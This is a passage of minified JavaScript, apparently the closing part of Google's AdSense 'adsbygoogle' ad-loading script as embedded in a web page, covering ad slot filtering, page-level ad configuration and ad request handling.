g=b.google_ad_slot;e=c.google_ad_modifications;!e||Sb(e.ad_whitelist,g,f||b.google_tag_origin)?e=null:(f=e.space_collapsing||"none",e=(g=Sb(e.ad_blacklist,g))?{ia:!0,ra:g.space_collapsing||f}:e.remove_ads_by_default?{ia:!0,ra:f}:null);if(e&&e.ia&&"on"!=b.google_adtest)return"slot"==e.ra&&(null!==sb(a.getAttribute("width"))&&a.setAttribute("width",0),null!==sb(a.getAttribute("height"))&&a.setAttribute("height",0),a.style.width="0px",a.style.height="0px"),!0;if((e=y(a,c))&&"none"==e.display&&!("on"==b.google_adtest||0<b.google_reactive_ad_format||d))return c.document.createComment&&a.appendChild(c.document.createComment("No ad requested because of display:none on the adsbygoogle tag")),!0;a=null==b.google_pgb_reactive||3===b.google_pgb_reactive;return 1!==b.google_reactive_ad_format&&8!==b.google_reactive_ad_format||!a?!1:(l.console&&l.console.warn("Adsbygoogle tag with data-reactive-ad-format="+b.google_reactive_ad_format+" is deprecated. Check out page-level ads at https://www.google.com/adsense"),!0)},Vg=function(a){for(var b=document.getElementsByTagName("ins"),c=0,d=b[c];c<b.length;d=b[++c]){var e=d;if(Rg(e)&&"reserved"!=e.getAttribute("data-adsbygoogle-status")&&(!a||d.id==a))return d}return null},Wg=function(a){if(!Qg){Qg=!0;try{var b=l.localStorage.getItem("google_ama_config")}catch(da){b=null}try{var c=b?new oc(b?JSON.parse(b):null):null}catch(da){c=null}if(b=c)if(c=ec(b,pc,3),!c||E(c,1)<=+new Date)try{l.localStorage.removeItem("google_ama_config")}catch(da){kd(l,{lserr:1})}else try{var d=dc(b,5);if(0<d.length){var e=new rc,f=d||[];2<e.v?e.l[2+e.s]=f:(bc(e),e.o[2]=f);var g=e}else b:{f=l.location.pathname;var h=fc(b,rc,7);e={};for(d=0;d<h.length;++d){var k=E(h[d],1);r(k)&&!e[k]&&(e[k]=h[d])}for(var m=f.replace(/(^\/)|(\/$)/g,"");;){var n=ob(m);if(e[n]){g=e[n];break b}if(!m){g=null;break b}m=m.substring(0,m.lastIndexOf("/"))}}var p;if(p=g)a:{var q=dc(g,2);if(q)for(g=0;g<q.length;g++)if(1==q[g]){p=!0;break a}p=!1}if(p){var u=new Kd;(new Od(new Gd(a,b),u)).start();var z=u.l;var J=ta(Rd,l);if(z.ca)throw Error("Then functions already set.");z.ca=ta(Qd,l);z.sa=J;Md(z)}}catch(da){kd(l,{atf:-1})}}},Xg=function(){var a=document.createElement("ins");a.className="adsbygoogle";a.style.display="none";return a},Yg=function(a){var b={};Hb(Tb,function(c,d){!1===a.enable_page_level_ads?b[d]=!1:a.hasOwnProperty(d)&&(b[d]=a[d])});pa(a.enable_page_level_ads)&&(b.page_level_pubvars=a.enable_page_level_ads);var c=Xg();wa.body.appendChild(c);var d={};d=(d.google_reactive_ads_config=b,d.google_ad_client=a.google_ad_client,d);Tg(c,d)},Zg=function(a){var b=Rb(window);if(!b)throw new H("Page-level tag does not work inside iframes.");b.google_reactive_ads_global_state||(b.google_reactive_ads_global_state=new Sd);b.google_reactive_ads_global_state.wasPlaTagProcessed=!0;wa.body?Yg(a):Bb(wa,"DOMContentLoaded",fd(191,function(){Yg(a)}))},ah=function(a){var b={};ed(165,hd,function(){$g(a,b)},function(c){c.client=c.client||b.google_ad_client||a.google_ad_client;c.slotname=c.slotname||b.google_ad_slot;c.tag_origin=c.tag_origin||b.google_tag_origin})},$g=function(a,b){va=(new Date).getTime();a:{if(void 0!=a.enable_page_level_ads){if(na(a.google_ad_client)){var c=!0;break a}throw new H("'google_ad_client' is missing from the tag config.")}c=!1}if(c)0===Og&&(Og=1),Wg(a.google_ad_client),Zg(a);else{0===Og&&(Og=2);c=a.element;(a=a.params)&&Hb(a,function(a,c){b[c]=a});if("js"===b.google_ad_output){l.google_ad_request_done_fns=l.google_ad_request_done_fns||[];l.google_radlink_request_done_fns=l.google_radlink_request_done_fns||[];if(b.google_ad_request_done){if("function"!=t(b.google_ad_request_done))throw new H("google_ad_request_done parameter must be a function.");l.google_ad_request_done_fns.push(b.google_ad_request_done);delete b.google_ad_request_done;b.google_ad_request_done_index=l.google_ad_request_done_fns.length-1}else throw new H("google_ad_request_done parameter must be specified.");if(b.google_radlink_request_done){if("function"!=t(b.google_radlink_request_done))throw new H("google_radlink_request_done parameter must be a function.");l.google_radlink_request_done_fns.push(b.google_radlink_request_done);delete b.google_radlink_request_done;b.google_radlink_request_done_index=l.google_radlink_request_done_fns.length-1}a=Xg();l.document.documentElement.appendChild(a);c=a}if(c){if(!Rg(c)&&(c.id?c=Vg(c.id):c=null,!c))throw new H("'element' has already been filled.");if(!("innerHTML"in c))throw new H("'element' is not a good DOM element.")}else if(c=Vg(),!c)throw new H("All ins elements in the DOM with class=adsbygoogle already have ads in them.");Tg(c,b)}},ch=function(){dd();ed(166,id,bh)},bh=function(){var a=Eb(Db(v))||v;Be(a);ad(B(v,ee.B)||B(v,ce.B)||B(v,ce.da));Gg();if(B(v,ne.ha)||B(v,ne.Z)||B(v,ne.ga)||B(v,ne.fa))zg(),wg(".google.co.id")&&(X[1]=".google.co.id"),B(v,ne.Z)?(a=cb(),Cg(a),Bg(a)):Bg(null);if((a=window.adsbygoogle)&&a.shift)try{for(var b,c=20;0<a.length&&(b=a.shift())&&0<c;)ah(b),--c}catch(d){throw window.setTimeout(ch,0),d}if(!a||!a.loaded){B(v,pe.u)&&(b=qd()?Ba("","pagead2.googlesyndication.com"):zb(),tg(Pb().document,b,"preconnect"));window.adsbygoogle={push:ah,loaded:!0};a&&dh(a.onload);try{Object.defineProperty(window.adsbygoogle,"onload",{set:dh})}catch(d){}}},dh=function(a){Jb(a)&&window.setTimeout(a,0)};ch()}).call(this) //]]> </script>